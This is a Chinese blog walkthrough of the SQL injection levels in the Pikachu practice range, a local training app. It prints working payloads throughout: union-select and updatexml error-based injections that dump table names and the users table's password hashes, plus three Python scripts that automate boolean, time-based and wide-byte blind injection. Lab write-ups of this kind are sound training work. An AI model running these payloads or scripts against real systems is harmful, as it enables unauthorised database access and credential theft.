Pikachu靶场—sql注入通关

这篇具有很好参考价值的文章主要介绍了Pikachu靶场—sql注入通关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

创作不易,给个关注吧,有任何问题可以评论或者私聊

一、数字型注入

关卡详情
sql注入关卡,sql注入,sql,网络安全
根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求
sql注入关卡,sql注入,sql,网络安全
因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测到3的时候就开始报错,所以列数是两列
sql注入关卡,sql注入,sql,网络安全

探测出来列数后,直接再使用 union select 联合查询,爆出数据库名,这里爆出了数据库名就是pikachu
sql注入关卡,sql注入,sql,网络安全
有了数据库名后,直接爆表名

id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

sql注入关卡,sql注入,sql,网络安全
最后再爆出字段里的数据

id=2 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2

sql注入关卡,sql注入,sql,网络安全
发现密码是md5加密的,直接解密一波就可以了,pikachu的秘密解密后是:000000
sql注入关卡,sql注入,sql,网络安全

二、字符型注入

这一关只有一个输入框,直接给了一个单引号会报错,并且上面的url会发现变化,直接得到一个url地址
sql注入关卡,sql注入,sql,网络安全
根据题目是字符型的注入,所以直接给个万能公式 x’ or 1=1 limit 1进行试探,得到一些uid和信息,说明是存在注入漏洞
sql注入关卡,sql注入,sql,网络安全
然后直接使用order by探测列数,这里也是到3 就会报错,所以还是两列
sql注入关卡,sql注入,sql,网络安全
拿到列数后,使用union 链表查询到数据库名后,剩下的步骤和上面是一样的,将查询语句,放在x‘ 的后面,#号的前面即可
sql注入关卡,sql注入,sql,网络安全

三、搜索型注入

按照和上面的方式一样,老办法,先探测是什么注入方式,首先给个 ’ 号闭合,得到一个url路径,最后使用 x‘ 发现有报错信息
sql注入关卡,sql注入,sql,网络安全
发现报错信息里有一个%号,所以加上一个%号之后再进行闭合,发现错误消失了
sql注入关卡,sql注入,sql,网络安全
继续再使用order by进行查询列数,这次探测到第四列才报错,说明这一关的列数有3列
sql注入关卡,sql注入,sql,网络安全
然后再使用联表查询到数据库名依然是pikachu
sql注入关卡,sql注入,sql,网络安全
知道数据库名后,直接查询表名

group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

sql注入关卡,sql注入,sql,网络安全
爆列
sql注入关卡,sql注入,sql,网络安全爆内容

x%' union select username,password,level from users#

sql注入关卡,sql注入,sql,网络安全
依然是md5加密的,可以直接通过网站进行解密即可

四、XX型注入

按照之前的流程,先尝试给了一个 ’ 号进行试探,看看是什么类型的注入,得到一个带 ) 的报错信息,猜测可能还是字符型输入
sql注入关卡,sql注入,sql,网络安全
然后尝试各种方式探测,最终发现 x’) %23 不会报错,说明这样闭合没有问题
sql注入关卡,sql注入,sql,网络安全然后继续 order by 找列数,这次到 3 就报错,所以确认是有两列
sql注入关卡,sql注入,sql,网络安全
爆库名,发现还是pichachu
sql注入关卡,sql注入,sql,网络安全
爆表名,使用之前的语句发现会报错,可能是因为union的两个SQL语句产生的记录的表结构不一致
sql注入关卡,sql注入,sql,网络安全
尝试换个方法,能够直接查询出来,采用了distinct 去重

x') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23

sql注入关卡,sql注入,sql,网络安全
爆列,使用之前的语句时,也会显示users无法识别
sql注入关卡,sql注入,sql,网络安全
于是换了一种编码格式,url和base64都报错,十六进制可以使用,所以转成16进制
sql注入关卡,sql注入,sql,网络安全
爆内容,MD5加密,直接解密即可

x') union select username,password from users%23&submit=查询

sql注入关卡,sql注入,sql,网络安全

五、insert注入

从注册入手,先使用工具抓包看看,看是否是post请求,感觉是post请求,除了按钮之外,还有6个参数
sql注入关卡,sql注入,sql,网络安全
先尝试将必填的参数写在username里面,将后面的注释,前面的形成闭合,但是发现报错,显示列数不对
sql注入关卡,sql注入,sql,网络安全
重新整理下,将参数全部塞进去,显示注册成功,后面的被注释掉了,说明 ‘ 号是闭合
sql注入关卡,sql注入,sql,网络安全
但是发现没有任何报错信息回显,可能隐藏了,这里尝试使用报错注入看看是否可以,发现最后显示出来了数据库

username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit

sql注入关卡,sql注入,sql,网络安全
爆表

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

sql注入关卡,sql注入,sql,网络安全
爆列(修改substr的参数可以全部爆出来)

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit

sql注入关卡,sql注入,sql,网络安全
爆内容

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

sql注入关卡,sql注入,sql,网络安全

六、delete注入

点进去发现是个留言板,可以增加留言可以删除留言,之后就没有什么特别的提示了,所以尝试抓包看下,最后发现是get请求
sql注入关卡,sql注入,sql,网络安全
随便给一个id=1,发现会报错,给order by探测列数,发现都会报错,尝试使用报错注入 ,发现这个可以成功爆出数据库名

?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

sql注入关卡,sql注入,sql,网络安全
发现报错注入有用的话,剩下的都是老套路,爆表
sql注入关卡,sql注入,sql,网络安全
剩下的和上面的关卡是一样的,爆列名

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)

sql注入关卡,sql注入,sql,网络安全
爆内容

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

sql注入关卡,sql注入,sql,网络安全

七、http header注入

sql注入关卡,sql注入,sql,网络安全
根据标题可以看到是根据http头部进行注入,先尝试使用admin正常登录看看,跳出了一个信息被记录的提示,并且登录进去之后有回显http request报文头
sql注入关卡,sql注入,sql,网络安全
下面抓包看一下,按照之前sql-labs的经验,尝试在user-agent中进行注入
sql注入关卡,sql注入,sql,网络安全
尝试在user-agent中加入报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

sql注入关卡,sql注入,sql,网络安全直接拿到了数据库名
sql注入关卡,sql注入,sql,网络安全

八、盲注:基于布尔盲注

sql注入关卡,sql注入,sql,网络安全
先找闭合,老样子先直接给个单引号和双引号进行探测,最后返回的都是用户名不存在,但是在后面加个 # 号就能返回正常结果,所以基本确认闭合是单引号闭合,下面就是爆数据库名,手工盲注太慢了,写个python脚本直接跑

import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"  # url地址
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", }  # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)]  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  # 用于判断附加sql语句为真的字符,根据网页回显填写,登录成功会显示 your uid等字段


def showdatabase():
    n = 20  # 猜测的最大长度
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "lili' and length(database())>" + str(j) + "-- ss"
            param = {
                "name": payload1,
                "submit": "查询",
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "lili' and length(database())=" + str(i) + "-- ss"
                param = {
                    "name": payload2,
                    "submit": "查询",
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("数据库名长度为:" + str(length) )
    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
            param = {
                "name": payload3,
                "submit": "查询",
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                db = db + c
                break
    print("数据库名是:"+str(db))

showdatabase()

效果图
sql注入关卡,sql注入,sql,网络安全

九、布尔盲注:基于时间

sql注入关卡,sql注入,sql,网络安全
不挣扎了,直接上脚本,多说无益

def databaseTime():
    n = 20
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "lili' and  if(length(database())>" + str(j) + ",sleep(3),1)-- ss"  
            param = {
                "name": payload1,
                "submit": "查询",
            }
            try:
                response = requests.get(url, params=param, headers=headers,timeout=2)
                k = k
                n = j
            except:
                n = n
                k = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "lili' and  if(length(database())=" + str(i) + ",sleep(3),1)-- ss"
                param = {
                    "name": payload2,
                    "submit": "查询",
                }
                try:
                    response = requests.get(url, params=param, headers=headers, timeout=2)
                except:
                    length = i
                    break
            break
        else:
            break
    print("数据库的长度为:" + str(length))

    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "lili' and if(substring(database()," + str(i) + ",1)='" + c + "',sleep(3),1)-- ss"
            param = {
                "name": payload3,
                "submit": "查询",
            }
            try:
                response = requests.get(url, params=param, headers=headers, timeout=2)
            except:
                db = db + c
                break
    print("数据库名为:" + str(db))

databaseTime()

效果图:
sql注入关卡,sql注入,sql,网络安全

十、宽字节注入

sql注入关卡,sql注入,sql,网络安全
这关提醒是宽字节注入,通过抓包分析,发现这一关是一个post请求,所以尝试直接使用宽字节登录看看,提示用户不存在
sql注入关卡,sql注入,sql,网络安全
说明数据库是收到了数据,但是没有查询到,继续加一个 or 1=1 进行探测,发现是显示了正常的结果
sql注入关卡,sql注入,sql,网络安全
再次输入 1=2时,就回显示username不存在
sql注入关卡,sql注入,sql,网络安全
从这里就可以看出,这关本质上还是布尔盲注,只是单引号被转义了,所以直接修改前面的脚本代码,直接跑

import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php" 
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85",
    "Content-Type": "application/x-www-form-urlencoded"  # 需添加此行,不然requests模块自动进行url编码
}  

keylist = range(33, 127)  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  


def databaseWide():
    n = 10  
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "name=lili%df' or length(database())>" + str(
                j) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"  
            response = requests.post(url, data=payload1, headers=headers)  #
            # print(response.request.headers)
            # print(response.request.body)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "name=lili%df' or length(database())=" + str(i) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
                param = {
                    "name": payload2,
                    "submit": "查询",
                }
                response = requests.post(url, data=payload2, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("数据库的长度是:" + str(length))

    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "name=lili%df' or ascii(substring(database()," + str(i) + ",1))=" + str(
                c) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data=payload3, headers=headers)
            if response.text.find(flag) != -1:
                db = db + chr(c)
                break
    print("数据库名字是:" + str(db))

databaseWide()

效果图
sql注入关卡,sql注入,sql,网络安全

总结

没有总结文章来源地址https://www.toymoban.com/news/detail-636019.html

到了这里,关于Pikachu靶场—sql注入通关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(31)
  • Pikachu靶场通关笔记--Cross-Site Scripting (XSS)

    首先,我们先区分get和post的区别。GET是以url方式提交数据;POST是以表单方式在请求体里面提交。通过get提交的数据是可以直接在url中看到的,所以GET方式的XSS漏洞更加容易被利用, 一般利用的方式是将带有跨站脚本的URL伪装后发送给目标,而POST方式由于是以表单方式提交,无法

    2024年02月05日
    浏览(32)
  • 【网络安全】SQL注入--堆叠注入

    堆叠注入就是可以同时执行多条语句,危害较大,利用此漏洞可以进行删库或者修改数据库信息 查询存在多少字段 使用联合查询获取表名 使用联合查询获取字段名称 使用堆叠注入添加账号密码

    2023年04月09日
    浏览(40)
  • 【网络安全】SQL注入--宽字节注入

    宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字 符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提

    2023年04月13日
    浏览(47)
  • 【网络安全】SQL注入详解

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 1:寻找到SQL注入的位置 2:判断服务器类型和后台数据库类型 3:针对不同的服务器和数据库特点进行SQL注入攻击

    2024年02月06日
    浏览(46)
  • 网络安全---SQL注入攻击

            SQL 注入是一种代码注入技术,可利用 Web 应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在 Web 应用程序中正确检查时,该漏洞就存在。         许多 Web 应用程序从用户处获取输入,然后使用这些输入构建 SQL 查询

    2024年04月12日
    浏览(39)
  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(32)
  • 网络安全必学SQL注入

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,首先我们要学习它的原理。 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻

    2024年02月03日
    浏览(50)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(38)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包